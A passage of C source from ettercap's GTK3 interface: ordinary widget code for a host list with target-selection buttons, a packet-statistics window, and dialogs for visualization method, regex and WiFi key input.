DEBUG_MSG("gtk_host_list"); if(hosts_window) { if(GTK_IS_WINDOW (hosts_window)) gtk_window_present(GTK_WINDOW (hosts_window)); else gtkui_page_present(hosts_window); return; } hosts_window = gtkui_page_new("Host List", >kui_hosts_destroy, >kui_hosts_detach); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_container_add(GTK_CONTAINER (hosts_window), vbox); gtk_widget_show(vbox); scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection, GTK_SELECTION_MULTIPLE); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("IP Address", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("MAC Address", renderer, "text", 1, NULL); gtk_tree_view_column_set_sort_column_id (column, 1); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Description", renderer, "text", 2, NULL); gtk_tree_view_column_set_sort_column_id (column, 2); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); /* populate the list or at least allocate a spot for it */ gtkui_refresh_host_list(NULL); /* set the elements */ gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore)); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0); gtk_box_pack_start(GTK_BOX (vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); button = gtk_button_new_with_mnemonic("_Delete Host"); gtk_box_pack_start(GTK_BOX (hbox), button, TRUE, TRUE, 0); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_button_callback), &host_delete); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("Add to Target _1"); gtk_box_pack_start(GTK_BOX (hbox), button, TRUE, TRUE, 0); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_button_callback), &host_target1); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("Add to Target _2"); gtk_box_pack_start(GTK_BOX (hbox), button, TRUE, TRUE, 0); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_button_callback), &host_target2); gtk_widget_show(button); context_menu = gtk_menu_new(); item = gtk_menu_item_new_with_label("Add to Target 1"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), item); g_signal_connect(G_OBJECT(item), "activate", G_CALLBACK(gtkui_button_callback), &host_target1); gtk_widget_show(item); item = gtk_menu_item_new_with_label("Add to Target 2"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), item); g_signal_connect(G_OBJECT(item), "activate", G_CALLBACK(gtkui_button_callback), &host_target2); gtk_widget_show(item); item = gtk_menu_item_new_with_label("Delete host"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), item); g_signal_connect(G_OBJECT(item), "activate", G_CALLBACK(gtkui_button_callback), &host_delete); gtk_widget_show(item); g_signal_connect(G_OBJECT(treeview), "button-press-event", G_CALLBACK(gtkui_context_menu), context_menu); gtk_widget_show(hosts_window); } static void gtkui_hosts_detach(GtkWidget *child) { hosts_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (hosts_window), "Hosts list"); gtk_window_set_default_size(GTK_WINDOW (hosts_window), 400, 300); g_signal_connect (G_OBJECT (hosts_window), "delete_event", G_CALLBACK (gtkui_hosts_destroy), NULL); gtk_container_add(GTK_CONTAINER (hosts_window), child); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(hosts_window, gtkui_hosts_attach); gtk_window_present(GTK_WINDOW (hosts_window)); } static void gtkui_hosts_attach(void) { /* destroy the current window */ gtkui_hosts_destroy(); /* recreate the tab */ gtkui_host_list(NULL, NULL, NULL); } void gtkui_hosts_destroy(void) { gtk_widget_destroy(hosts_window); hosts_window = NULL; } /* * populate the list */ gboolean gtkui_refresh_host_list(gpointer data) { GtkTreeIter iter; struct hosts_list *hl; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; char name[MAX_HOSTNAME_LEN]; /* avoid warning */ (void)data; DEBUG_MSG("gtk_refresh_host_list"); /* The list store contains a 4th column that is NOT displayed by the treeview widget. This is used to store the pointer for each entry's structure. */ if(liststore) gtk_list_store_clear(GTK_LIST_STORE (liststore)); else liststore = gtk_list_store_new (4, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_POINTER); /* walk the hosts list */ LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { /* enlarge the list */ gtk_list_store_append (liststore, &iter); /* fill the element */ gtk_list_store_set (liststore, &iter, 0, ip_addr_ntoa(&hl->ip, tmp), 1, mac_addr_ntoa(hl->mac, tmp2), 3, hl, -1); if (hl->hostname) { gtk_list_store_set (liststore, &iter, 2, hl->hostname, -1); } else { /* resolve the hostname (using the cache) */ if(host_iptoa(&hl->ip, name) == -E_NOMATCH) { gtk_list_store_set(liststore, &iter, 2, "resolving...", -1); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LIST_STORE; ro->liststore = GTK_LIST_STORE(liststore); ro->treeiter = iter; ro->column = 2; ro->ip = &hl->ip; g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else gtk_list_store_set (liststore, &iter, 2, name, -1); } } /* return FALSE so that g_idle_add() only calls it once */ return FALSE; } void gtkui_button_callback(GtkWidget *widget, gpointer data) { GList *list; GtkTreeIter iter; GtkTreeModel *model; char tmp[MAX_ASCII_ADDR_LEN]; struct hosts_list *hl = NULL; gint *type = data; /* variable not used */ (void) widget; if (type == NULL) return; model = GTK_TREE_MODEL (liststore); if(gtk_tree_selection_count_selected_rows(selection) > 0) { list = gtk_tree_selection_get_selected_rows (selection, &model); for(list = g_list_last(list); list; list = g_list_previous(list)) { gtk_tree_model_get_iter(model, &iter, list->data); gtk_tree_model_get(model, &iter, 3, &hl, -1); switch(*type) { case HOST_DELETE: DEBUG_MSG("gtkui_button_callback: delete host"); gtk_list_store_remove(GTK_LIST_STORE (liststore), &iter); /* remove the host from the list */ LIST_REMOVE(hl, next); SAFE_FREE(hl->hostname); SAFE_FREE(hl); break; case HOST_TARGET1: DEBUG_MSG("gtkui_button_callback: add target1"); /* add the ip to the target */ add_ip_list(&hl->ip, EC_GBL_TARGET1); gtkui_create_targets_array(); USER_MSG("Host %s added to TARGET1\n", ip_addr_ntoa(&hl->ip, tmp)); break; case HOST_TARGET2: DEBUG_MSG("gtkui_button_callback: add target2"); /* add the ip to the target */ add_ip_list(&hl->ip, EC_GBL_TARGET2); gtkui_create_targets_array(); USER_MSG("Host %s added to TARGET2\n", ip_addr_ntoa(&hl->ip, tmp)); break; } } /* free the list of selections */ g_list_free_full(list, (GDestroyNotify)gtk_tree_path_free); } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_view.c0000644000175000017500000005126513505247364021504 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* proto */ static void gtkui_set_regex(void); static void gtkui_set_wifikey(void); static void gtkui_stop_stats(void); static void gtkui_stats_detach(GtkWidget *child); static void gtkui_stats_attach(void); static gboolean refresh_stats(gpointer data); /* globals */ #define VLEN 8 static char vmethod[VLEN] = "ascii"; #define RLEN 50 static char vregex[RLEN]; #define WLEN 70 static char wkey[WLEN]; static guint stats_idle; /* for removing the idle call */ /* for stats window */ static GtkWidget *stats_window, *packets_recv, *packets_drop, *packets_forw, *queue_len, *sample_rate, *recv_bottom, *recv_top, *interesting, *rate_bottom, *rate_top, *through_bottom, *through_top; /*******************************************/ /* * If this option is being activated, * it runs through the current hosts list and triggeres * name resolution in the background. * That way subsequent actions benefits from the filled cache */ void toggle_resolve(GSimpleAction *action, GVariant *value, gpointer data) { char name[MAX_HOSTNAME_LEN]; struct hosts_list *hl; (void) data; g_simple_action_set_state(action, value); /* resolution already set */ if (EC_GBL_OPTIONS->resolve) { EC_GBL_OPTIONS->resolve = 0; resolv_thread_fini(); return; } DEBUG_MSG("toggle_resolve: activate name resolution"); /* set the option and activate resolution threads */ EC_GBL_OPTIONS->resolve = 1; resolv_thread_init(); /* run through the current hosts list and trigger resolution */ LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { if (hl->hostname) continue; host_iptoa(&hl->ip, name); } /* actually refresh the host list */ EC_GBL_UI->update(UI_UPDATE_HOSTLIST); } /* * display the statistics windows */ void gtkui_show_stats(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *grid, *label; (void) action; (void) value; (void) data; DEBUG_MSG("gtkui_show_stats"); /* if the object already exist, set the focus to it */ if (stats_window) { /* show stats window */ if(GTK_IS_WINDOW (stats_window)) gtk_window_present(GTK_WINDOW (stats_window)); else gtkui_page_present(stats_window); return; } stats_window = gtkui_page_new("Statistics", >kui_stop_stats, >kui_stats_detach); /* alright, this is a lot of code but it'll keep everything lined up nicely */ grid = gtk_grid_new(); gtk_grid_set_column_homogeneous(GTK_GRID(grid), TRUE); gtk_grid_set_column_spacing(GTK_GRID(grid), 10); gtk_container_add(GTK_CONTAINER (stats_window), grid); label = gtk_label_new( "Received packets:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP, 1, 1); packets_recv = gtk_label_new(" "); gtk_label_set_selectable(GTK_LABEL (packets_recv), TRUE); gtk_widget_set_halign(packets_recv, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), packets_recv, GTK_POS_LEFT+1, GTK_POS_TOP, 1, 1); label = gtk_label_new("Dropped packets:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+1, 1, 1); packets_drop = gtk_label_new(" "); gtk_label_set_selectable(GTK_LABEL (packets_drop), TRUE); gtk_widget_set_halign(packets_drop, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), packets_drop, GTK_POS_LEFT+1, GTK_POS_TOP+1, 1, 1); label = gtk_label_new("Forwarded packets:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+2, 1, 1); packets_forw = gtk_label_new(" 0 bytes: 0 "); gtk_label_set_selectable(GTK_LABEL (packets_forw), TRUE); gtk_widget_set_halign(packets_forw, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), packets_forw, GTK_POS_LEFT+1, GTK_POS_TOP+2, 1 ,1); label = gtk_label_new("Current queue length:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+3, 1, 1); queue_len = gtk_label_new("0/0 "); gtk_label_set_selectable(GTK_LABEL (queue_len), TRUE); gtk_widget_set_halign(queue_len, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), queue_len, GTK_POS_LEFT+1, GTK_POS_TOP+3, 1, 1); label = gtk_label_new("Sampling rate:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+4, 1, 1); sample_rate = gtk_label_new("0 "); gtk_label_set_selectable(GTK_LABEL (sample_rate), TRUE); gtk_widget_set_halign(sample_rate, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), sample_rate, GTK_POS_LEFT+1, GTK_POS_TOP+4, 1, 1); label = gtk_label_new("Bottom Half received packet:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+5, 1, 1); recv_bottom = gtk_label_new("pck: 0 bytes: 0"); gtk_label_set_selectable(GTK_LABEL (recv_bottom), TRUE); gtk_widget_set_halign(recv_bottom, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), recv_bottom, GTK_POS_LEFT+1 ,GTK_POS_TOP+5, 1, 1); label = gtk_label_new("Top Half received packet:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+6, 1, 1); recv_top = gtk_label_new("pck: 0 bytes: 0"); gtk_label_set_selectable(GTK_LABEL (recv_top), TRUE); gtk_widget_set_halign(recv_top, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), recv_top, GTK_POS_LEFT+1, GTK_POS_TOP+6, 1, 1); label = gtk_label_new("Interesting packets:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+7, 1, 1); interesting = gtk_label_new("0.00 %"); gtk_label_set_selectable(GTK_LABEL (interesting), TRUE); gtk_widget_set_halign(interesting, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), interesting, GTK_POS_LEFT+1, GTK_POS_TOP+7, 1, 1); label = gtk_label_new("Bottom Half packet rate:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+8, 1, 1); rate_bottom = gtk_label_new("worst: 0 adv: 0 b/s"); gtk_label_set_selectable(GTK_LABEL (rate_bottom), TRUE); gtk_widget_set_halign(rate_bottom, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), rate_bottom, GTK_POS_LEFT+1, GTK_POS_TOP+8, 1, 1); label = gtk_label_new("Top Half packet rate:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+9, 1, 1); rate_top = gtk_label_new("worst: 0 adv: 0 b/s"); gtk_label_set_selectable(GTK_LABEL (rate_top), TRUE); gtk_widget_set_halign(rate_top, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), rate_top, GTK_POS_LEFT+1, GTK_POS_TOP+9, 1, 1); label = gtk_label_new("Bottom Half throughput:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+10, 1, 1); through_bottom = gtk_label_new("worst: 0 adv: 0 b/s"); gtk_label_set_selectable(GTK_LABEL (through_bottom), TRUE); gtk_widget_set_halign(through_bottom, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), through_bottom, GTK_POS_LEFT+1, GTK_POS_TOP+10, 1, 1); label = gtk_label_new("Top Half throughput:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+11, 1, 1); through_top = gtk_label_new("worst: 0 adv: 0 b/s"); gtk_label_set_selectable(GTK_LABEL (through_top), TRUE); gtk_widget_set_halign(through_top, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), through_top, GTK_POS_LEFT+1, GTK_POS_TOP+11, 1, 1); gtk_widget_show_all(grid); gtk_widget_show(stats_window); /* display the stats */ refresh_stats(NULL); /* refresh the stats window every 200 ms */ /* GTK has a gtk_idle_add also but it calls too much and uses 100% cpu */ stats_idle = g_timeout_add(200, refresh_stats, NULL); } static void gtkui_stats_detach(GtkWidget *child) { stats_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (stats_window), "Statistics"); gtk_container_set_border_width(GTK_CONTAINER (stats_window), 10); g_signal_connect (G_OBJECT (stats_window), "delete_event", G_CALLBACK (gtkui_stop_stats), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(stats_window, gtkui_stats_attach); gtk_container_add(GTK_CONTAINER (stats_window), child); gtk_window_present(GTK_WINDOW (stats_window)); } static void gtkui_stats_attach(void) { gtkui_stop_stats(); gtkui_show_stats(NULL, NULL, NULL); } static void gtkui_stop_stats(void) { DEBUG_MSG("gtk_stop_stats"); g_source_remove(stats_idle); gtk_widget_destroy(stats_window); stats_window = NULL; } static gboolean refresh_stats(gpointer data) { char line[50]; /* variable not used */ (void) data; /* if not focused don't refresh it */ /* this also removes the idle call, but should only occur if the window isn't visible */ if (!gtk_widget_get_visible(stats_window)) return FALSE; snprintf(line, 50, "%8"PRIu64, EC_GBL_STATS->ps_recv); gtk_label_set_text(GTK_LABEL (packets_recv), line); snprintf(line, 50, "%8"PRIu64" %.2f %%", EC_GBL_STATS->ps_drop, (EC_GBL_STATS->ps_recv) ? (float)EC_GBL_STATS->ps_drop * 100 / EC_GBL_STATS->ps_recv : 0 ); gtk_label_set_text(GTK_LABEL (packets_drop), line); snprintf(line, 50, "%8"PRIu64" bytes: %8"PRIu64" ", EC_GBL_STATS->ps_sent, EC_GBL_STATS->bs_sent); gtk_label_set_text(GTK_LABEL (packets_forw), line); snprintf(line, 50, "%lu/%lu ", EC_GBL_STATS->queue_curr, EC_GBL_STATS->queue_max); gtk_label_set_text(GTK_LABEL (queue_len), line); snprintf(line, 50, "%d ", EC_GBL_CONF->sampling_rate); gtk_label_set_text(GTK_LABEL (sample_rate), line); snprintf(line, 50, "pck: %8"PRIu64" bytes: %8"PRIu64, EC_GBL_STATS->bh.pck_recv, EC_GBL_STATS->bh.pck_size); gtk_label_set_text(GTK_LABEL (recv_bottom), line); snprintf(line, 50, "pck: %8"PRIu64" bytes: %8"PRIu64, EC_GBL_STATS->th.pck_recv, EC_GBL_STATS->th.pck_size); gtk_label_set_text(GTK_LABEL (recv_top), line); snprintf(line, 50, "%.2f %%", (EC_GBL_STATS->bh.pck_recv) ? (float)EC_GBL_STATS->th.pck_recv * 100 / EC_GBL_STATS->bh.pck_recv : 0 ); gtk_label_set_text(GTK_LABEL (interesting), line); snprintf(line, 50, "worst: %8lu adv: %8lu p/s", EC_GBL_STATS->bh.rate_worst, EC_GBL_STATS->bh.rate_adv); gtk_label_set_text(GTK_LABEL (rate_bottom), line); snprintf(line, 50, "worst: %8lu adv: %8lu p/s", EC_GBL_STATS->th.rate_worst, EC_GBL_STATS->th.rate_adv); gtk_label_set_text(GTK_LABEL (rate_top), line); snprintf(line, 50, "worst: %8lu adv: %8lu b/s", EC_GBL_STATS->bh.thru_worst, EC_GBL_STATS->bh.thru_adv); gtk_label_set_text(GTK_LABEL (through_bottom), line); snprintf(line, 50, "worst: %8lu adv: %8lu b/s", EC_GBL_STATS->th.thru_worst, EC_GBL_STATS->th.thru_adv); gtk_label_set_text(GTK_LABEL (through_top), line); return(TRUE); } /* * change the visualization method */ void gtkui_vis_method(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *button, *prev, *vbox, *content_area; GSList *curr = NULL; gint active = 0, response = 0; GtkTreeModel *model; GtkTreeIter iter; GtkListStore *lang_list = NULL; GtkCellRenderer *cell = NULL; GtkWidget *hbox, *lang_combo, *label; char encoding[50], def_lang[75]; const char *local_lang, *selected_lang; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_vis_method"); dialog = gtk_dialog_new_with_buttons("Visualization method...", GTK_WINDOW (window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER(dialog), 10); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_container_add(GTK_CONTAINER(content_area), vbox); button = gtk_radio_button_new_with_label(NULL, "Print the packets in hex format."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "hex") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), "Print only \"printable\" characters, the others are displayed as dots '.'"); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "ascii") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), "Print only the \"printable\" characters and skip the others."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "text") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), "Convert an EBCDIC text to ASCII."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "ebcdic") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), "Strip all the html tags from the text. A tag is every string between < and >."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "html") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; /* start UTF8 */ button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), "Convert the data from the encoding specified below to UTF8 before displaying it."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "utf8") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 6); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); label = gtk_label_new ("Character encoding : "); gtk_box_pack_start (GTK_BOX (hbox), label, FALSE, FALSE, 0); /* Fill a list of available encodings */ lang_list = gtk_list_store_new(1, G_TYPE_STRING); /* get the system's default encoding, and if it's not UTF8, add it to the list */ if(!g_get_charset(&local_lang)) { snprintf(def_lang, 75, "%s (System Default)", local_lang); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, def_lang, -1); } /* some other common encodings */ gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "UTF-8", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "EBCDIC-US (IBM)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-8859-15 (Western Europe)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-8859-2 (Central Europe)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-8859-7 (Greek)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-8859-8 (Hebrew)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-8859-9 (Turkish)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-2022-JP (Japanese)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "SJIS (Japanese)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "CP949 (Korean)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "CP1251 (Cyrillic)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "CP1256 (Arabic)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "GB18030 (Chinese)", -1); /* make a drop down box and assign the list to it */ lang_combo = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(lang_combo), GTK_TREE_MODEL(lang_list)); /* list is stored in the widget, can safely free this copy */ g_object_unref(lang_list); /* end UTF8 */ cell = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(lang_combo), cell, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(lang_combo), cell, "text", 0, NULL); gtk_combo_box_set_active(GTK_COMBO_BOX(lang_combo), 0); gtk_box_pack_start (GTK_BOX(hbox), lang_combo, TRUE, TRUE, 0); gtk_widget_show_all(vbox); response = gtk_dialog_run(GTK_DIALOG (dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); /* see which button was clicked */ active = 0; for(curr = gtk_radio_button_get_group(GTK_RADIO_BUTTON (button)); curr; curr = curr->next) { active++; if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (curr->data))) break; } /* set vmethod string */ int i=0; memset(vmethod, 0, VLEN); switch(active) { case 6: strncpy(vmethod, "hex", 4); break; case 5: strncpy(vmethod, "ascii", 6); break; case 4: strncpy(vmethod, "text", 5); break; case 3: strncpy(vmethod, "ebcdic", 7); break; case 2: strncpy(vmethod, "html", 5); break; case 1: /* utf8 */ /* copy first word from encoding choice */ gtk_combo_box_get_active_iter(GTK_COMBO_BOX(lang_combo), &iter); model = gtk_combo_box_get_model(GTK_COMBO_BOX(lang_combo)); gtk_tree_model_get(model, &iter, 0, &selected_lang, -1); i=sscanf(selected_lang, "%[^ ]", encoding); BUG_IF(i!=1); if(strlen(encoding) > 0) { strncpy(vmethod, "utf8", 5); set_utf8_encoding(encoding); break; } /* fall through */ default: strncpy(vmethod, "ascii", 6); } set_format(vmethod); } gtk_widget_destroy(dialog); } /* * set the visualization regex */ void gtkui_vis_regex(GSimpleAction *action, GVariant *value, gpointer data) { (void) action; (void) value; (void) data; DEBUG_MSG("gtk_vis_regex"); gtkui_input("Visualization regex :", vregex, RLEN, gtkui_set_regex); } static void gtkui_set_regex(void) { set_regex(vregex); } /* * set the Wifi key */ void gtkui_wifi_key(GSimpleAction *action, GVariant *value, gpointer data) { (void) action; (void) value; (void) data; DEBUG_MSG("gtk_wifi_key"); gtkui_input("WiFi key :", wkey, WLEN, gtkui_set_wifikey); } static void gtkui_set_wifikey(void) { wifi_key_prepare(wkey); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_view_connections.c0000644000175000017500000017611213505247364024105 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include /* double-linked list for fast updates to connection list */ struct row_pairs { void *conn; GtkTreeIter iter; struct row_pairs *next; struct row_pairs *prev; }; /* filter objects */ struct conn_filter { /* model handle for filtered tree */ GtkTreeModel *model; /* Host filter */ const gchar *host; /* Protocol filter */ gboolean tcp; gboolean udp; gboolean other; /* Connection state filter */ gboolean active; gboolean idle; gboolean closing; gboolean closed; gboolean killed; }; /* proto */ static void gtkui_connections_detach(GtkWidget *child); static void gtkui_connections_attach(void); static void gtkui_kill_connections(void); static gboolean refresh_connections(gpointer data); static struct row_pairs *gtkui_connections_add(struct conn_object *co, void *conn, struct row_pairs **list); static void gtkui_connection_list_row(int top, struct row_pairs *pair); static void gtkui_connection_detail(void); static void gtkui_connection_detail_destroy(GtkWidget *widget, gpointer *data); static void gtkui_connection_data(void); static void gtkui_connection_data_split(void); static void gtkui_connection_data_join(void); static void gtkui_connection_data_detach(GtkWidget *child); static void gtkui_connection_data_attach(void); static void gtkui_destroy_conndata(void); static gboolean gtkui_connections_scroll(gpointer data); static void gtkui_data_print(int buffer, char *data, int color); static void split_print(u_char *text, size_t len, struct ip_addr *L3_src); static void split_print_po(struct packet_object *po); static void 